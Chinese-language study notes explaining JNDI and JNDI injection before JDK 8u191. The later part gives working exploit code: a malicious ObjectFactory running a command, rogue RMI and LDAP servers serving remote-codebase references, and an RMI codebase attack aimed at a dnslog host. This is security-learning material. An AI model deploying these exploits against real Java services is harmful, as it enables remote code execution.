前言:作為JNDI與8u191前JNDI注入的一篇筆記
什么是JNDI
JNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目錄接口。通過調用JNDI的API應用程序可以定位資源和其他程序對象。
JNDI是Java EE的重要部分,需要注意的是它並不只是包含了DataSource(JDBC 數據源),JNDI可訪問的現有的目錄及服務有:JDBC、LDAP、RMI、DNS、NIS、CORBA。
我在這里學習的時候困惑的就是什么是"命名"和"目錄接口"...
Naming Service 命名服務
命名服務將名稱和對象進行關聯,提供通過名稱找到對象的操作,例如:DNS系統將計算機名和IP地址進行關聯、文件系統將文件名和文件句柄進行關聯等等。
小知識點:在一些命名服務系統中,系統並不是直接將對象存儲在系統中,而是保持對象的引用。引用包含了如何訪問實際對象的信息。
Directory Service 目錄服務
目錄服務是命名服務的擴展,除了提供名稱和對象的關聯,還允許對象具有屬性。目錄服務中的對象稱之為目錄對象。目錄服務提供創建、添加、刪除目錄對象以及修改目錄對象屬性等操作。
小總結
我這里就舉個例子,就相當於 命名服務體現的作用是在人與名兩者之間進行關聯,這里將姓名和人進行關鍵,人相當是對象,因為我們還可以有年齡、性別的屬性
Context
之前說了目錄服務是命名服務的擴展,相當於已經包含了命名服務的知識點和概念,所以這里主要學習目錄服務就好了
訪問JNDI目錄服務時會通過預先設置好環境變量訪問對應的服務,我們這里以DNS服務來舉例,如下代碼所示
public class Test {
public static void main(String[] args) throws NamingException {
// 創建環境變量對象
Hashtable<String, String> env = new Hashtable<String, String>();
// 設置JNDI初始化工廠類名
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");
// 設置JNDI提供服務的URL地址
env.put(Context.PROVIDER_URL, "dns://114.114.114.114");
// 創建JNDI目錄服務對象
DirContext context = new InitialDirContext(env);
}
}
運行結果無報錯,說明代碼正常走完了
這里其實直接看InitialDirContext這個類是如何生成的即可,因為前面都是存在變動的,我們這里拿到了DNS的目錄服務,但是JNDI還可以RMI LDAP等等的目錄服務,所以我們要看InitialDirContext是如何根據存儲env的數據來進行初始化目錄服務對象的,這里一直跟進去首先會發現一個init的函數,取我們存入的INITIAL_CONTEXT_FACTORY屬性來進行判斷,如果該屬性存在則getDefaultInitCtx進行默認的初始化context
這里繼續來看getDefaultInitCtx方法,又會接着將之前存入env的相關信息通過NamingManager.getInitialContext(myProps);
傳入
這里繼續看NamingManager.getInitialContext,這個方法內完成對對應的工廠類的實例化
接着用對應的工廠類通過env相關信息來實例化對應的Context類
到這里完成了getInitialContext方法,最后返回上下文Context對象
這邊的話拿到對應的上下文還可以對其進行相關的方法調用,因為對應的對象都提供了一些方法讓我們使用,比如這里的DNS工廠,我們就可以對域名進行解析,如下操作
DirContext context = new InitialDirContext(env);
try {
// 獲取DNS解析記錄測試
Attributes attrs1 = context.getAttributes("baidu.com", new String[]{"A"});
Attributes attrs2 = context.getAttributes("qq.com", new String[]{"A"});
System.out.println(attrs1);
System.out.println(attrs2);
} catch (NamingException e) {
e.printStackTrace();
}
結果:
RMI目錄服務
這里再舉個例子,JNDI我們可以理解為進行包裝,這里包裝的對象有很多,除了DNS工廠類,還有RMI工廠類,LDAP工廠類,這里再舉個RMI工廠類來進行測試,代碼如下所示
RMIServer.java
public class RMIServer {
// RMI服務器IP地址
public static final String RMI_HOST = "192.168.1.230";
// RMI服務端口
public static final int RMI_PORT = 9527;
// RMI服務名稱
public static final String RMI_NAME = "rmi://" + RMI_HOST + ":" + RMI_PORT + "/AAAAAAA";
public static void main(String[] args) throws RemoteException, AlreadyBoundException, MalformedURLException {
// 注冊RMI服務端口
LocateRegistry.createRegistry(RMI_PORT);
// 綁定對應的Remote對象(這里就是你的RMITestImpl對象)
Naming.bind(RMI_NAME, new RMITestImpl());
System.out.println("RMI服務啟動成功,服務地址:" + RMI_NAME);
}
}
TestRMI.java
public class TestRMI {
private static final String RMI_HOST = "192.168.1.230";
private static final String RMI_PORT = "9527";
private static final String RMI_NAME = "AAAAAAA";
public static void main(String[] args) {
String providerURL = "rmi://" + RMI_HOST + ":" + RMI_PORT;
// 創建環境變量對象
Hashtable<String, String> env = new Hashtable<String, String>();
// 設置JNDI初始化工廠類名
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
// 設置JNDI提供服務的URL地址
env.put(Context.PROVIDER_URL, providerURL);
try {
// 創建JNDI目錄服務對象
DirContext context = new InitialDirContext(env);
// 通過命名服務查找遠程RMI綁定的RMITestInterface對象
RMITest testInterface = (RMITest) context.lookup(RMI_NAME);
// 調用遠程的RMITestInterface接口的test方法
String result = testInterface.test();
System.out.println(result);
} catch (NamingException e) {
e.printStackTrace();
} catch (RemoteException e) {
e.printStackTrace();
}
}
}
問題1:這里我服務端一開始是通過createRegistry返回的RegistryImpl對象來進行bind發現就會提示如下報錯,具體不清楚,先放着,但是我自己認為本質不還是RegistryImpl來進行lookup的嗎,還是不太懂
LDAP目錄服務
LDAP的服務處理工廠類是com.sun.jndi.ldap.LdapCtxFactory,連接LDAP之前需要配置好遠程的LDAP服務。
TestLDAP.java
public class TestLDAP {
public static void main(String[] args) {
try {
// 設置用戶LDAP登陸用戶DN
String userDN = "cn=Manager,dc=javaweb,dc=org";
// 設置登陸用戶密碼
String password = "123456";
// 創建環境變量對象
Hashtable<String, Object> env = new Hashtable<String, Object>();
// 設置JNDI初始化工廠類名
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
// 設置JNDI提供服務的URL地址
env.put(Context.PROVIDER_URL, "ldap://127.0.0.1:1389");
// 設置安全認證方式
env.put(Context.SECURITY_AUTHENTICATION, "simple");
// 設置用戶信息
env.put(Context.SECURITY_PRINCIPAL, userDN);
// 設置用戶密碼
env.put(Context.SECURITY_CREDENTIALS, password);
// 創建LDAP連接
DirContext ctx = new InitialDirContext(env);
// 使用ctx可以查詢或存儲數據,此處省去業務代碼
ctx.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
小知識點:如果JNDI在lookup時沒有指定初始化工廠名稱,會自動根據協議類型動態查找內置的工廠類然后創建處理對應的服務請求,自動轉換規則如下所示
模擬rmi服務來進行請求,可以看到會根據rmi://
來自動進行轉換,然后對RMI服務器發起請求
// 創建JNDI目錄服務上下文
InitialContext context = new InitialContext();
// 查找JNDI目錄服務綁定的對象
Object obj = context.lookup("rmi://127.0.0.1:9527/test");
在講Reference的時候,這里得先學習一下前置的知識點,關於RMI的動態加載,自己在RMI的筆記中有稍微提及,那時候自己了解的一般,可能講的不太詳細
遠程加載惡意類
RMI服務端遠程加載惡意類(攻擊服務端)
首先在講RMI的動態加載惡意類,在java安全漫談中的RMI篇有記錄,這里直接貼上來
RMI中也存在遠程加載的場景,這里有涉及到codebase知識點。
codebase是一個地址,告訴Java虛擬機我們應該從哪個地方去搜索類,有點像我們日常用的CLASSPATH,但CLASSPATH是本地路徑,而codebase通常是遠程URL,比如http、ftp等。
如果我們指定 codebase=http://example.com/
,然后加載 org.vulhub.example.Example
類,則Java虛擬機會下載這個文件 http://example.com/org/vulhub/example/Example.class
,並作為Example類的字節碼。
RMI的流程中,客戶端和服務端之間傳遞的是一些序列化后的對象,這些對象在反序列化時,就會去尋找類。如果某一端反序列化時發現一個對象,那么就會去自己的CLASSPATH下尋找想對應的類;如果在本地沒有找到這個類,就會去遠程加載codebase中的類。
這個時候問題就來了,如果RMI服務端的codebase被控制,我們不就可以任意加載惡意類了嗎?
對,在RMI中,我們是可以將codebase隨着序列化數據一起傳輸的,服務器在接收到這個數據后就會去CLASSPATH和指定的codebase尋找類,由於codebase被控制導致任意命令執行漏洞。
不過顯然官方也注意到了這一個安全隱患,所以只有滿足如下條件的RMI服務器才能被攻擊:
1、安裝並配置了SecurityManager(這里的話自己通過設置trust)
2、java.rmi.server.useCodebaseOnly為false
這里還需要說下在 當RMI客戶端引用遠程對象將受本地Java環境限制,即本地的java.rmi.server.useCodebaseOnly
配置必須為false(允許加載遠程對象),如果該值為true則禁止引用遠程對象。
所以這里如果我們進行利用的話,客戶端的RMI啟動的時候就需要設置useCodebaseOnly
java在6u45、7u21、8u121開始java.rmi.server.useCodebaseOnly默認配置已經改為了true。
JDK 6u45 https://docs.oracle.com/javase/7/docs/technotes/guides/rmi/relnotes.html
JDK 7u21 http://www.oracle.com/technetwork/java/javase/7u21-relnotes-1932873.html
JDK 8u121 http://www.oracle.com/technetwork/java/javase/8u121-relnotes-3315208.html
這里來搭建下環境進行測試
ICalc.java
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
public interface ICalc extends Remote {
Integer sum(List<Integer> params) throws RemoteException;
}
calc.java
public class Calc extends UnicastRemoteObject implements ICalc {
public Calc() throws RemoteException {
}
public Integer sum(List<Integer> params) throws RemoteException {
Integer sum = 0;
for (Integer param : params)
{
sum += param;
}
return sum;
}
}
RMIServer.java
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
public class RemoteRMIServer {
private void start() throws RemoteException, MalformedURLException {
if (System.getSecurityManager() == null) {
System.out.println("setup SecurityManager");
System.setSecurityManager(new SecurityManager());
System.out.println("setup SecurityManager Finish");
}
Calc h = new Calc();
LocateRegistry.createRegistry(1099);
Naming.rebind("refObj", h);
System.out.println("Bind Finish");
}
public static void main(String[] args) throws Exception {
new RemoteRMIServer().start();
}
}
client.policy
grant {
permission java.security.AllPermission;
};
執行命令:java -Djava.rmi.server.hostname=xxx.xxx.xxx.xxx -Djava.rmi.server.useCodebaseOnly=false -Djava.security.policy=client.policy RMIServer
RMIClient.java
import java.rmi.Naming;
import java.util.List;
import java.util.ArrayList;
import java.io.Serializable;
public class RMIClient implements Serializable{
public class Payload extends ArrayList<Integer> {}
public void lookup() throws Exception {
ICalc r = (ICalc) Naming.lookup("rmi://xxx.xxx.xxx.xxx:1099/refObj");
List<Integer> li = new Payload();
li.add(3);
li.add(4);
System.out.println(r.sum(li));
}
public static void main(String[] args) throws Exception {
new RMIClient().lookup();
}
}
本地攻擊機器執行命令:java -Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://jbm1sq.dnslog.cn RMIClient
dnslog平台上接受到了相關服務端RMI的請求,說明指定的codebase已經生效,此時服務端本地反序列化的時候沒有找到相關的Payload類,這就導致服務端需要根據RMIClient發送過來的codebase去進行尋找,而這里指定的codebase地址是http://jbm1sq.dnslog.cn,那么服務端就會去http://jbm1sq.dnslog.cn中進行尋找
下面引入另外的兩個知識點(后面會講,涉及到JNDI注入)
RMI+JNDI遠程加載惡意類(攻擊客戶端,如典型的fastjson rmi+jndi注入)
除此之外被引用的ObjectFactory對象(后面會講,涉及到JNDI注入)還將受到com.sun.jndi.rmi.object.trustURLCodebase
配置限制,如果該值為false(不信任遠程引用對象)則無法調用遠程的引用對象。
rmi的jndi在6u132,7u122,8u113 開始 com.sun.jndi.rmi.object.trustURLCodebase
默認值已改為了false。
我們如果想要通過rmi的jndi進行加載惡意類,在jdk8中,版本就可以適用到113
LDAP+JNDI遠程加載惡意類(攻擊客戶端,如典型的fastjson ldap+jndi注入)
然后再說下ldap的jndi,ldap的jndi在6u211、7u201、8u191、11.0.1后也將默認的com.sun.jndi.ldap.object.trustURLCodebase
設置為了false,並且這些變動對應的分配了一個漏洞編號CVE-2018-3149。
這里就是為什么別人說進行JNDI注入的時候用LDAP會通用,因為我們如果想要通過ldap的jndi進行加載惡意類,在jdk8中,版本就可以適用到8u191
Reference(jndi注入的根)
在前面介紹目錄服務的時候有稍微提及到Reference的知識,這里來詳細學習
Reference:在JNDI服務中允許使用系統以外的對象,比如在某些目錄服務中直接引用遠程的Java對象,但遵循一些安全限制。
JNDI允許通過對象工廠 (javax.naming.spi.ObjectFactory)動態加載對象實現,例如,當查找綁定在名稱空間中的打印機時,如果打印服務將打印機的名稱綁定到 Reference,則可以使用該打印機 Reference 創建一個打印機對象,從而查找的調用者可以在查找后直接在該打印機對象上操作。
對象工廠必須實現 javax.naming.spi.ObjectFactory接口並重寫getObjectInstance方法。
所以我們這里就需要自己實現一個OjbectFactory接口的類,並重寫getObjectInstance方法
public class ReferenceObjectFactory implements ObjectFactory {
/**
* @param obj 包含可在創建對象時使用的位置或引用信息的對象(可能為 null)。
* @param name 此對象相對於 ctx 的名稱,如果沒有指定名稱,則該參數為 null。
* @param ctx 一個上下文,name 參數是相對於該上下文指定的,如果 name 相對於默認初始上下文,則該參數為 null。
* @param env 創建對象時使用的環境(可能為 null)。
* @return 對象工廠創建出的對象
* @throws Exception 對象創建異常
*/
public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws Exception {
// 在創建對象過程中插入惡意的攻擊代碼,或者直接創建一個本地命令執行的Process對象從而實現RCE
return Runtime.getRuntime().exec("calc");
}
}
主要原理:JNDI Reference遠程加載Object Factory類的特性。
jndi注入之rmi+jndi
如果我們在RMI服務端綁定一個惡意的引用對象,RMI客戶端在獲取服務端綁定的對象時發現是一個Reference對象后檢查當前JVM是否允許(基於trustURLCodebase)加載遠程引用對象,如果允許加載且本地不存在此對象工廠類則使用URLClassLoader加載遠程的jar,並加載我們構建的惡意對象工廠(ReferenceObjectFactory)類然后調用其中的getObjectInstance方法從而觸發該方法中的惡意RCE代碼。
所以如果當前RMI客戶端允許加載遠程引用對象,且RMI服務端綁定的是Reference惡意對象,則可以進行攻擊RMI客戶端!
服務端:
因為我這里本地的版本為8u181,所以在jndi+rmi中需要進行開啟trustURLCodebase=true
,因為我沒有低版本的jdk環境,所以這里需要進行設置下
這里自己將上面ReferenceObjectFactory重寫ObjectFactory類進行打包到jar,然后放在服務器上讓目標進行訪問
服務端_RMIReferenceServerTest.java
package com.zpchcbd.jndi.objectfactory;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
public class RMIReferenceServerTest {
public static void main(String[] args) {
try {
// 定義一個遠程的jar,jar中包含一個惡意攻擊的對象的工廠類
String url = "http://127.0.0.1:81/CollectionsSerializable.jar";
// 對象的工廠類名
String className = "com.zpchcbd.jndi.objectfactory.ReferenceObjectFactory";
// 監聽RMI服務端口
LocateRegistry.createRegistry(9527);
// 創建一個遠程的JNDI對象工廠類的引用對象
Reference reference = new Reference(className, className, url);
// 轉換為RMI引用對象,
// 因為Reference沒有實現Remote接口也沒有繼承UnicastRemoteObject類,故不能作為遠程對象bind到注冊中心,
// 所以需要使用ReferenceWrapper對Reference的實例進行一個封裝。
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
// 綁定一個惡意的Remote對象到RMI服務
Naming.bind("rmi://192.168.1.230:9527/AAAAAA", referenceWrapper);
System.out.println("RMI服務啟動成功,服務地址:" + "rmi://192.168.1.230:9527/AAAAAA");
} catch (Exception e) {
e.printStackTrace();
}
}
}
客戶端_objectfactory.java
package com.zpchcbd.jndi.objectfactory;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class RMIReferenceClientTest{
public static void main(String[] args) {
try {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
InitialContext context = new InitialContext();
// 獲取RMI綁定的惡意ReferenceWrapper對象
Object obj = context.lookup("rmi://192.168.1.230:9527/AAAAAA");
System.out.println(obj);
} catch (NamingException e) {
e.printStackTrace();
}
}
}
客戶端運行之后,結果如下
jndi注入之ldap+jndi
服務端_LdapServer.java
然后配合起一個對應的web服務(帶有對應ObjectFactory實現的getObjectInstance方法),跟上面rmi服務端搭建的jar一樣
package com.zpchcbd.jndi.objectfactory.ldap;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
public class LdapServer {
public static void main(String[] args) throws Exception {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("172.20.10.2"),
1199,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()
));
config.addInMemoryOperationInterceptor(new OperationInterceptor());
InMemoryDirectoryServer directoryServer = new InMemoryDirectoryServer(config);
directoryServer.startListening();
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
String className = "com.zpchcbd.jndi.objectfactory.ldap.ReferenceObjectFactory";
String url = "http://172.20.10.2:81/CollectionsSerializable.jar";
Entry entry = new Entry(base);
entry.addAttribute("javaClassName", className);
entry.addAttribute("javaFactory", className);
entry.addAttribute("javaCodeBase", url);
entry.addAttribute("objectClass", "javaNamingReference");
try {
result.sendSearchEntry(entry);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}catch (Exception e){
e.printStackTrace();
}
}
}
}
客戶端_LdapClient.java
package com.zpchcbd.jndi.objectfactory.ldap;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class LdapClient {
public static void main(String[] args) {
try {
InitialContext context = new InitialContext();
// 獲取RMI綁定的惡意ReferenceWrapper對象
Object obj = context.lookup("ldap://172.20.10.2:1199/listen");
System.out.println(obj);
} catch (NamingException e) {
e.printStackTrace();
}
}
}
同樣可以進行利用,如下圖所示